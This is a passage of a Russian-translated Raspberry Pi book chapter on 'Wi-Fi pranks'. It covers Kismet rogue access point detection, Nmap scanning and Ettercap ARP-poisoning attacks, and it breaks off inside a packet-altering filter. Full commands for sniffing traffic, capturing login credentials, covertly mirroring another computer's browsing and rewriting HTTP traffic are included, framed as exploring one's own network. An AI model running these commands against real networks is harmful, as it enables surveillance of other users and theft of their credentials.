Speech - речь. Чтобы заставить речь работать, выберите «Configure Speech Настроить речь» и измените команду «Speech Player - Проигрыватель речи» на
«espeak».Теперь закройте диалоговые окна, и ваши изменения должны
немедленно вступить в силу.

Включение обнаружения несанкционированной точки доступа
Kismet не только контролирует воздушное пространство Wi-Fi, но также включает
некоторые функции системы обнаружения вторжений (IDS). Когда Kismet
обнаруживает что-то подозрительное, он сообщит вам об этом специальными
предупреждающими сообщениями (и дополнительным звуковым эффектом
сирены). Чтобы помочь Kismet обнаружить атаку на точку доступа Rouge, о которой
мы упоминали во введении к этому разделу, нам необходимо указать правильный
MAC-адрес нашей точки доступа в файле конфигурации Kismet.
Вы можете получить MAC-адрес своей точки доступа через Kismet. Убедитесь, что
он перестает отправлять пакеты, когда вы его выключите, чтобы убедиться, что
это действительно ваша точка доступа. Теперь откройте файл конфигурации
Kismet для редактирования:
pi@raspberrypi ~ $ sudo nano /etc/kismet.conf

Найдите две строки примера, начинающиеся с apspoof =, и
закомментируйте их. Затем добавьте свою строку ниже в соответствии
со следующим форматом:
apspoof=RougeAPAlert:ssid="[AP Name]",validmacs="[MAC address]"

Замените [Name AP] именем (SSID) вашей точки доступа, а [MAC-адрес] MAC-адресом вашей точки доступа, затем сохраните и выйдите из nano.
Каждый раз, когда Kismet обнаруживает какие-либо несоответствия,
связанные с вашей точкой доступа, вы будете получать предупреждения в
консоли Kismet Server и в специальном окне предупреждений.

Кисмет показывает предупреждение о несанкционированных точках доступа AP

[ 101 ]

Розыгрыши Wi-Fi - Изучение вашей сети

На этом наш ускоренный курс Kismet завершается. Мы расскажем, как
анализировать перехваченный сетевой трафик, который мы регистрировали в
~ / kismetlogs, позже, в разделе Анализ дампов пакетов с помощью Wireshark.

Анализ дампов пакетов с помощью Wireshark.
В то время как Kismet дал нам широкий обзор воздушного пространства Wi-Fi вокруг
вашего дома, пришло время взглянуть изнутри на то, как выглядит ваша сеть.
До конца этой главы вы можете оставаться подключенным к своей точке доступа
или подключаться к роутеру через Ethernet, как обычно. Вам нужно будет отменить
любые изменения, которые вы внесли в файлы / etc / network / interfaces и / etc /
default / ifplugd ранее во время раздела Kismet. Затем перезагрузите Pi и
убедитесь, что вы действительно связаны с вашей точкой доступа, используя
команду iwconfig.

Адаптер Wi-Fi, связанный с точкой доступа MiFi

Мы будем использовать универсальное приложение Nmap для сбора
информации обо всем, что существует в вашей сети. Давайте установим
Nmap вместе с двумя другими пакетами, которые вам пригодятся:
pi@raspberrypi ~ $ sudo apt-get install nmap xsltproc elinks

Nmap, а также другие приложения, которые мы будем использовать в этой
главе, должны знать, на каком IP-адресе или диапазоне адресов следует
сосредоточить свое внимание. Nmap с радостью начнет сканировать весь
Интернет, если вы ему скажете, но это бесполезно и бесполезно ни для вас, ни
для Интернета. Что вы должны сделать, так это выбрать диапазон из частного
адресного пространства IPv4, которое используется в вашей домашней сети.

[ 102 ]

Глава 4

Это три блока IP-адресов, зарезервированных для использования в частных сетях:


10.0.0.0 to 10.255.255.255 (сеть класса A



172.16.0.0 to 172.31.255.255 (сеть класса B)



192.168.0.0 to 192.168.255.255 (сеть класса C)

Сеть класса C является наиболее распространенным диапазоном для домашних
роутеров, при этом 192.168.1.1 является типичным IP-адресом для самого
роутера. Если вы не уверены в диапазоне, используемом в вашей сети,вы можете
посмотреть IP-адрес и информацию о маршруте, которые были переданы
интерфейсу Wi-Fi службой DHCP вашего роутера:
pi@raspberrypi ~ $ ip addr show wlan0
pi@raspberrypi ~ $ ip route show

Интерфейс Wi-Fi в диапазоне адресов 192.168.1.0/24

Интерфейсу Wi-Fi, как показано на предыдущем снимке экрана, был передан
IP-адрес в диапазоне 192.168.1.0/24, что является более коротким способом
(называемым нотацией CIDR) между 192.168.1.0 и 192.168.1.255. Мы также можем
видеть, что шлюз по умолчанию для интерфейса Wi-Fi - 192.168.1.1. Шлюз по
умолчанию - это то, где интерфейс Wi-Fi отправляет весь свой трафик для
связи с Интернетом, который, скорее всего, является IP-адресом вашего
роутера. Поэтому, если вы обнаружите, что вашему интерфейсу был задан,
например, 10.1.1.20, IP-адреса других компьютеров в вашей сети, скорее всего,
находятся в диапазоне от 10.1.1.1 до 10.1.1.254. Теперь, когда мы знаем, какой
диапазон сканировать, давайте посмотрим, что Nmap может узнать об этом.

[ 103 ]

Розыгрыши Wi-Fi - Изучение вашей сети

Самый простой, но удивительно полезный метод сканирования,
предлагаемый Nmap, называется сканированием по списку. Это один из
способов поиска компьютеров в сети путем поиска имени хоста для каждого
IP-адреса в указанном нами диапазоне без отправки реальных сетевых
пакетов на сами компьютеры. Попробуйте использовать следующую
команду, но замените [target] одним IP-адресом или диапазоном:
pi@raspberrypi ~ $ sudo nmap -v -sL [target]

Nmap performing the List Scan

Мы должны запускать Nmap с sudo, поскольку Nmap требует привилегий root
для выполнения большей части сканирования. Мы также указываем -v для
некоторой дополнительной многословности и -sL, чтобы использовать технику
просмотра списка. В конце идет целевая спецификация, которая может быть
одним IP-адресом или диапазоном адресов. Мы можем указать диапазоны,
используя короткую нотацию CIDR, такую как на предыдущем снимке экрана,
или с тире в каждой группе (называемой октетом) адреса. Например, для
сканирования первых 20 адресов можно указать 192.168.1.1-20.
specify 192.168.1.1-20.
Сканирование списка сообщает нам, какой IP-адрес связан с каким именем
хоста, но на самом деле не говорит нам, включен ли компьютер в данный
момент. Для этого мы перейдем к следующему методу: ping-сканированию. В
этом режиме Nmap будет рассылать пакеты на каждый IP в диапазоне, чтобы
попытаться определить, жив ли хост или нет. Попробуйте, используя
следующую команду:
pi@raspberrypi ~ $ sudo nmap -sn [target]

[ 104 ]

Глава 4

Вы получите список всех работающих в настоящее время компьютеров с
указанием их MAC-адресов и производителя оборудования их сетевого
адаптера. В последней строке вы найдете сводку общего количества
просканированных IP-адресов и сколько из них живы.
Другие функции, предлагаемые Nmap, можно просмотреть, запустив nmap без
аргументов. Чтобы дать вам представление о доступных мощных методах,
попробуйте следующую серию команд
pi@raspberrypi ~ $ sudo nmap -sS -sV -sC -O -oX report.xml [target]pi@raspberrypi ~ $
xsltproc report.xml -o report.html
pi@raspberrypi ~ $ elinks report.html

Выполнение этой команды nmap может занять некоторое время в зависимости от
количества компьютеров в вашей сети. Он запускает четыре различных метода
сканирования: -sS для сканирования портов, -sV для определения версии
службы, -sC для сканирования скриптов и -O для определения ОС. Мы также
использовали -oX, чтобы получить подробный отчет в формате XML, который
затем мы преобразуем в документ HTML, который можно просмотреть на
консоли с помощью веб-браузера Elinks. По завершении просмотра отчета
нажмите Q, чтобы выйти из Elinks.

Узнаем, чем занимаются другие
компьютеры
Теперь, когда у нас есть лучшее представление о компьютере, стоящем за
каждым IP-адресом, мы можем начать нацеливаться на сам сетевой
трафик, когда он проходит через нашу сеть.
Для этих экспериментов мы будем использовать приложение Ettercap. Акт
прослушивания сетевого трафика обычно известен как сниффинг, и есть
несколько отличных приложений-снифферов на выбор. Что отличает
Ettercap, так это его способность сочетать атаки типа «man-in-the-middle злоумышленник в середине» с сетевым сниффингом и множество других
полезных функций, что делает его отличным инструментом для нанесения
вреда сети.

[ 105 ]

Розыгрыши Wi-Fi - Изучение вашей сети

Видите ли, одно препятствие, которое снифферам приходится
преодолевать, - это получение сетевых пакетов, не предназначенных для
вашего сетевого интерфейса. Именно здесь вступает в игру атака Ettercap's
«man-in-the-middle - человек посередине». Мы запустим атаку отравления
ARP, которая обманом заставит любой компьютер в сети отправить все свои
сетевые пакеты через Pi. Наш Pi, по сути, станет человеком посередине,
тайно шпионящим за пакетами и манипулирующими ими по мере их
прохождения.
Давайте установим версию Ettercap для командной строки, используя
следующую команду:
pi@raspberrypi ~ $ sudo apt-get install ettercap-text-only

Прежде чем мы начнем, внесем несколько небольших изменений в файл
конфигурации Ettercap:
pi@raspberrypi ~ $ sudo nano /etc/etter.conf

Найдите две строки, которые читают ec_uid = 65534 и ec_gid = 65534. Теперь
измените две строки на ec_uid = 0 и ec_gid = 0. Это изменяет идентификатор
ID user/group - пользователя / группы, используемый Ettercap, на
пользователя root. Затем найдите строку, которая начинается с
remote_browser, и замените mozilla на elinks, затем сохраните конфигурацию
и выйдите из nano.
Для нашего первого эксперимента Ettercap мы попытаемся захватить каждый
поиск имени хоста, сделанный любым компьютером в локальной сети.
Например, ваш браузер выполняет поиск имени хоста за кулисами, когда вы
впервые посещаете веб-сайт. Используйте следующую команду, чтобы
начать сниффинг:
pi@raspberrypi ~ $ sudo ettercap -T -i wlan0 -M arp:remote -V ascii -d//53

В зависимости от уровня активности в вашей сети, сообщения могут
заливать
ваш экран или время от времени просачиваться. Вы можете убедиться, что
он действительно работает, открыв командную строку на любом компьютере
в сети и попробовав проверить связь с выдуманным адресом, например:
C:\> ping ahamsteratemyrockstar.com

[ 106 ]

Глава 4

Адрес должен отображаться как часть запроса DNS (пакет UDP на порт
53) в сеансе Ettercap.

Ettercap сниффинг для DNS-запросов

[ 107 ]

Розыгрыши Wi-Fi - Изучение вашей сети

Обратите внимание, что Ettercap здесь находится в интерактивном режиме. Вы
можете нажать клавишу H, чтобы открыть меню с несколькими интересными
клавишными командами, которые помогут вам управлять сеансом. Очень важно
выйти из Ettercap, нажав клавишу Q. Это гарантирует, что Ettercap очистит вашу
сеть после атаки отравления ARP.
Давайте рассмотрим аргументы. Мы передаем -T в командной строке для
интерактивного текстового режима, а -i wlan0 означает, что мы хотим
использовать интерфейс Wi-Fi для сниффинга - используйте eth0 для
прослушивания проводного соединения. -M arp: remote указывает, что мы
хотели бы использовать ARP-отравляющую атаку «человек посередине», -V
ascii указывает, как Ettercap будет отображать нам сетевые пакеты, а -d
указывает, что мы предпочли бы читать имена хостов вместо IP-адресов.
Последней идет целевая спецификация, которая имеет форму MAC-адрес /
IP-адрес / номер порта. Так, например, /192.168.1.1/80 будет прослушивать
трафик к 192.168.1.1 и от него только через порт номер 80. Не упоминать
что-то - это то же самое, что сказать их все. Вы также можете указать
диапазоны, например, /192.168.1.10-20/ будет прослушивать десять
IP-адресов от 192.168.1.10 до192.168.1.20. Часто вам нужно указать две цели,
что отлично подходит для отслеживания, например, всего трафика между
двумя хостами, маршрутизатором и одним компьютером.

Как шифрование меняет игру
Прежде чем перейти к следующему примеру, нам нужно поговорить о шифровании.
Пока сетевые пакеты отправляются в виде открытого текста (незашифрованного - в
открытом виде), Ettercap может анализировать и анализировать большинство
пакетов. Он даже будет улавливать и сообщать имена пользователей и пароли,
используемые для входа в общие сетевые службы. Например, если веб-браузер
используется для входа в административный интерфейс вашего роутера по
обычному незашифрованному протоколу HTTP, Ettercap выдаст учетные данные для
входа, которые немедленно использовались.
Все это меняется с зашифрованными службами, такими как SSH и протокол
HTTPS в вашем веб-браузере. Хотя Ettercap может регистрировать эти
зашифрованные пакеты, он не может хорошо рассмотреть содержимое внутри.
В Ettercap есть несколько экспериментальных функций, которые пытаются
обмануть веб-браузеры с помощью поддельных сертификатов SSL, но это
обычно приводит к появлению большого красного предупреждения от вашего
браузера о том, что что-то не так. Если вы все еще хотите
поэкспериментировать с этими методами, раскомментируйте директивы
redir_command_on и redir_command_off в заголовке if you use iptables в файле
конфигурации Ettercap.
Поэкспериментировав с Ettercap и поняв значение незашифрованного обмена
данными, вы можете прийти к выводу, что нам нужно зашифровать все, и вы
будете абсолютно правы - добро пожаловать в клуб и расскажите своим
друзьям! К счастью, несколько крупных компаний, предоставляющих
веб-услуги, такие как Google и Facebook, начали по умолчанию переходить на
зашифрованный трафик HTTPS.
[ 108 ]

Глава 4

Журнал трафика
В нашем следующем примере мы будем фиксировать и регистрировать все
коммуникации между роутером и одним конкретным компьютером в вашей
сети. Используйте следующую команду, но замените [IP-адрес роутера]
IP-адресом вашего роутера, а [IP-адрес ПК] IP-адресом одного конкретного
компьютера в вашей сети:
pi@raspberrypi ~ $ sudo ettercap -q -T -i wlan0 -M arp:remote -d -L
mycapture /[Router IP]/ /[PC IP]/

Здесь мы все еще находимся в интерактивном режиме и можем использовать
ключевые команды, но мы также указали флаг -q для тихого режима. Это
предотвращает переполнение нашего экрана пакетами, но мы по-прежнему
будем получать уведомления о захваченных учетных данных для входа в
систему. Аргумент -L mycapture включает механизм ведения журнала и
создает два файла журнала:
Затем файлы журнала можно фильтровать и анализировать различными
способами с помощью команды etterlog. Например, чтобы распечатать все
HTTP-сообщения с Google, используйте следующую команду:
pi@raspberrypi ~ $ sudo etterlog -e "google.com" mycapture.ecp

Используйте etterlog --help, чтобы получить список всех различных опций
для управления файлами журнала.

Серфинг через плечо в Элинксе
Ettercap предлагает дополнительные функции в виде плагинов, которые можно
загрузить из интерактивного режима с помощью клавиши P или
непосредственно в командной строке с помощью аргумента -P. Мы
рассмотрим скрытый плагин remote_browser, который позволяет нам
создавать теневой браузер, имитирующий сеанс просмотра в браузере на
удаленном компьютере. Когда удаленный компьютер заходит на сайт, плагин
проинструктирует ваши ссылки также перейти на этот сайт.
To try this out, you need to start elinks first in one terminal session, as root:
pi@raspberrypi ~ $ sudo elinks

Чтобы попробовать это, вам нужно сначала запустить elinks в одном сеансе
терминала как root:
pi@raspberrypi ~ $ sudo ettercap -q -T -i wlan0 -M arp:remote -P remote_
browser /[Router IP]/ /[PC IP]/

Как только Ettercap получит URL-запрос от проверенного компьютера, он
сообщит об этом на консоли Ettercap, и ваш браузер Elinks должен следовать за
ним. Нажмите клавишу H в elinks, чтобы получить доступ к диспетчеру истории,
и Q, чтобы выйти из elinks.
[ 109 ]

Розыгрыши Wi-Fi - Изучение вашей сети

Отправка неожиданных изображений
в окна браузера
Атаки типа «злоумышленник посередине» не только позволяют нам следить
за трафиком, когда он проходит, у нас также есть возможность изменять
пакеты, прежде чем мы передадим их законному владельцу. Чтобы
управлять содержимым пакета с помощью Ettercap, нам сначала нужно
создать код фильтра в nano:
pi@raspberrypi ~ $ nano myfilter.ecf

Вот наш код фильтра:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Mischief");
}
}
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "